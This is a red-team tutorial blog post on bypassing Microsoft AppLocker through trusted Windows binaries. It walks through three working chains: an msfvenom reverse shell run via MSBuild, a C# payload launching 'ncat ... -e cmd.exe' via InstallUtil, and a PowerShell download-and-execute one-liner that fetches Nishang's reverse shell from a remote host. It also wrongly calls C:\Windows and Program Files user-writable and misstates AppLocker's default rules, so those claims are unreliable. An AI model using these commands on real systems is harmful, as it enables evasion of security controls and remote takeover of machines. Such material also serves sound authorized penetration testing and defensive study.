What is Application Whitelisting?
Imagine you’re the admin of a highly secure corporate network. You don’t just want to block “known bad” software (that’s blacklisting); you want to ensure that only “known good” software can run. This is Application Whitelisting.
In simple terms, Application Whitelisting is a security policy that allows only an approved set of executables, scripts, and libraries to run on a system. Everything else is blocked by default. It’s like having a VIP list for a nightclub; if your name isn’t on the list, you’re not getting in.
Common whitelisting solutions include:
Microsoft AppLocker: Common in Windows enterprise environments.
Windows Defender Application Control (WDAC): A more modern and robust successor to AppLocker.
Third-party tools like Carbon Black, Symantec Endpoint Protection, etc.
For a Red Teamer or penetration tester, encountering a system with whitelisting is a significant hurdle. Our goal is to find creative ways to get our tools (like a reverse shell) onto the “VIP list” without being on it.
Common Whitelisting Bypass Philosophies
Whitelisting solutions are powerful, but they are not magic. They work by defining rules based on attributes like:
File Path: e.g., “Allow anything in C:\Program Files\”
Publisher: e.g., “Allow anything signed by Microsoft”
File Hash: e.g., “Allow calc.exe with this specific hash”
Our bypass techniques target the gaps in these rules. The core philosophies are:
Living Off the Land: Use pre-approved, trusted operating system binaries (often called LOLBins - Living Off the Land Binaries) to perform malicious actions. These tools are almost always whitelisted.
Abusing Trusted Publishers: If a rule allows all code signed by “Microsoft,” we can try to find a Microsoft-signed tool that can be misused to run our code.
Scripting and Interpreters: If powershell.exe is allowed, but our malicious.ps1 script is not, we can often encode our payload and execute it directly from the allowed PowerShell process.
Fileless Techniques: Avoid writing a malicious file to disk altogether. Execute code directly in memory using approved processes.
Let’s Bypass It!
For this demo, we’ll assume a target with Microsoft AppLocker enabled with default rules. These rules typically allow executables, scripts, and installers in user-writable directories like C:\Windows\ and C:\Program Files\ but only if they are signed by a trusted publisher.
Lab Setup:
Bypass 1: The Classic - MSBuild
Concept: MSBuild (Microsoft Build Engine) is a signed Microsoft tool used to compile .NET applications. We can trick it into compiling and executing a malicious C# payload.
Steps:
1.Craft the Payload: We’ll use a simple C# reverse shell generated by msfvenom or a tool like SharpShooter.
# On Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > shell.exe
But wait, we can’t just run shell.exe! It will be blocked. Instead, we embed the shellcode within an MSBuild XML file.
2.Use a Pre-built Template: Tools like GreatSCT or MSBuildShell can generate these XML files for us. For this example, let’s assume we have a file called shell.xml.
3.Execute the Bypass: On the target machine (where you have a basic shell, like via a phishing email), run:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe shell.xml
4.Catch the Shell: On your Kali machine, start a Netcat listener.
nc -nvlp 4444
MSBuild will run, execute the embedded code as a trusted Microsoft process, and you will receive a reverse shell.
Why it works: The rule likely states: “Allow C:\Windows\* from publisher: Microsoft.” MSBuild.exe is in that path and is signed by Microsoft, so it runs. AppLocker doesn’t deeply inspect what the MSBuild process is being told to compile and run.
Bypass 2: The Power of InstallUtil
Concept: InstallUtil.exe is another signed Microsoft .NET framework utility designed to install and uninstall server resources. It can be used to execute any .NET code from a specified assembly.
Steps:
1.Create a Malicious .NET Assembly: We can write a simple C# program that runs a command or shell. Here’s a basic template for a reverse shell (save as payload.cs):
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class Program
{
public static void Main()
{
// Replace with your reverse shell command
Process.Start("cmd.exe", "/c ncat 192.168.1.100 4444 -e cmd.exe");
}
}
2.Compile it: On the target, use the built-in C# compiler (csc.exe), which might also be whitelisted.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library payload.cs
This creates payload.dll.
3.Execute with InstallUtil: Now, use InstallUtil to run the Main() method inside our DLL.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll
The /U flag triggers the uninstaller, which conveniently calls the Main method.
Why it works: Again, we are leveraging a trusted, signed Microsoft binary (InstallUtil.exe) to perform the heavy lifting. AppLocker sees the trusted publisher and allows it to run.
Bypass 3: The Scripting Master - PowerShell
Concept: If PowerShell is allowed (which it often is for admin purposes), we can run our entire payload in memory without ever touching the disk.
Steps:
1.Craft a PowerShell Reverse Shell: We can use the famous Invoke-PowerShellTcp.ps1 from the Nishang framework.
2.Execute from Memory: Instead of saving it to disk, we can load it directly from a web server and execute it in one line.
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.100 -Port 4444"
-ep bypass: Bypasses the PowerShell Execution Policy (a separate, weaker control).IEX(...): Invokes-Expression, which downloads and executes the script in memory.
Why it works: The powershell.exe process is whitelisted. While modern defenses (AMSI) can detect this, it demonstrates the principle: we are using a trusted application to execute untrusted code directly from memory.
Conclusion:
For a Red Teamer, understanding application whitelisting bypasses is crucial. Techniques like abusing LOLBins (MSBuild, InstallUtil, Regsvr32, etc.) are fundamental to operating in a modern, secured environment. The key takeaway is that trust is a vulnerability; by exploiting the trust placed in essential OS utilities, we can achieve our objectives even under restrictive security ![policies.]
Always use this knowledge ethically and only in environments where you have explicit permission to test.
